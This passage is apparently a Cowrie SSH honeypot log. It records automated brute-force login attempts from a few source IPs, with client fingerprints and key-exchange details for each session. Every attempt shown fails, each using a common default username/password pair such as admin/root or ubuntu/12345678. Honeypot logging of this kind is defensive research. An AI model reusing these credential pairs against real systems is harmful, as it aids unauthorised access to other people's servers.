":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:09.252173Z","src_ip":"45.156.87.253","session":"b61d4ecfd2bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZ2wsx","message":"login attempt [admin/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:09.498462Z","src_ip":"45.156.87.253","session":"b61d4ecfd2bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:10.677757Z","src_ip":"45.156.87.253","session":"b61d4ecfd2bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51688,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4d481983c71","protocol":"ssh","message":"New connection: 45.156.87.253:51688 (10.17.0.5:22) [session: c4d481983c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:12.471005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:12.474272Z","src_ip":"45.156.87.253","session":"c4d481983c71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:12.554753Z","src_ip":"45.156.87.253","session":"c4d481983c71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"jack","message":"login attempt [jack/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:12.911162Z","src_ip":"45.156.87.253","session":"c4d481983c71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:13.995591Z","src_ip":"45.156.87.253","session":"c4d481983c71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":51690,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ba4faf6cfc0","protocol":"ssh","message":"New connection: 45.156.87.253:51690 (10.17.0.5:22) [session: 5ba4faf6cfc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:15.892174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:15.895752Z","src_ip":"45.156.87.253","session":"5ba4faf6cfc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:15.978019Z","src_ip":"45.156.87.253","session":"5ba4faf6cfc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:16.221053Z","src_ip":"45.156.87.253","session":"5ba4faf6cfc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:17.304720Z","src_ip":"45.156.87.253","session":"5ba4faf6cfc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":56456,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbb1498f39da","protocol":"ssh","message":"New connection: 45.156.87.253:56456 (10.17.0.5:22) [session: dbb1498f39da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:19.191497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:19.195171Z","src_ip":"45.156.87.253","session":"dbb1498f39da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:19.275294Z","src_ip":"45.156.87.253","session":"dbb1498f39da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:19.517030Z","src_ip":"45.156.87.253","session":"dbb1498f39da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:20.599688Z","src_ip":"45.156.87.253","session":"dbb1498f39da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":41198,"dst_ip":"159.203.135.109","dst_port":22,"session":"d29725b511a6","protocol":"ssh","message":"New connection: 193.37.70.224:41198 (159.203.135.109:22) [session: d29725b511a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:20.608622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:20.612063Z","src_ip":"193.37.70.224","session":"d29725b511a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:20.699987Z","src_ip":"193.37.70.224","session":"d29725b511a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yfcnz12345","message":"login attempt [root/yfcnz12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:20.951696Z","src_ip":"193.37.70.224","session":"d29725b511a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:22.037817Z","src_ip":"193.37.70.224","session":"d29725b511a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":56458,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd14b6d8ad39","protocol":"ssh","message":"New connection: 45.156.87.253:56458 (10.17.0.5:22) [session: cd14b6d8ad39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:22.639600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:22.642716Z","src_ip":"45.156.87.253","session":"cd14b6d8ad39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:22.722902Z","src_ip":"45.156.87.253","session":"cd14b6d8ad39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:22.965456Z","src_ip":"45.156.87.253","session":"cd14b6d8ad39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:24.048294Z","src_ip":"45.156.87.253","session":"cd14b6d8ad39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":56462,"dst_ip":"10.17.0.5","dst_port":22,"session":"6098cd5a2463","protocol":"ssh","message":"New connection: 45.156.87.253:56462 (10.17.0.5:22) [session: 6098cd5a2463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:25.951362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:25.955341Z","src_ip":"45.156.87.253","session":"6098cd5a2463","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:26.039067Z","src_ip":"45.156.87.253","session":"6098cd5a2463","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root","message":"login attempt [admin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:26.281858Z","src_ip":"45.156.87.253","session":"6098cd5a2463","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:27.364241Z","src_ip":"45.156.87.253","session":"6098cd5a2463","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42228,"dst_ip":"10.17.0.5","dst_port":22,"session":"70eb314c454b","protocol":"ssh","message":"New connection: 45.156.87.253:42228 (10.17.0.5:22) [session: 70eb314c454b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:29.390346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:29.406758Z","src_ip":"45.156.87.253","session":"70eb314c454b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:29.471137Z","src_ip":"45.156.87.253","session":"70eb314c454b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"12345","message":"login attempt [main/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:29.786197Z","src_ip":"45.156.87.253","session":"70eb314c454b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:30.869998Z","src_ip":"45.156.87.253","session":"70eb314c454b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42254,"dst_ip":"10.17.0.5","dst_port":22,"session":"91c7df8def0a","protocol":"ssh","message":"New connection: 45.156.87.253:42254 (10.17.0.5:22) [session: 91c7df8def0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:32.664965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:32.668995Z","src_ip":"45.156.87.253","session":"91c7df8def0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:32.749202Z","src_ip":"45.156.87.253","session":"91c7df8def0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:32.991524Z","src_ip":"45.156.87.253","session":"91c7df8def0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:34.074946Z","src_ip":"45.156.87.253","session":"91c7df8def0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":43240,"dst_ip":"10.17.0.5","dst_port":22,"session":"811e08923a9a","protocol":"ssh","message":"New connection: 91.92.40.11:43240 (10.17.0.5:22) [session: 811e08923a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:54:35.624009Z"}
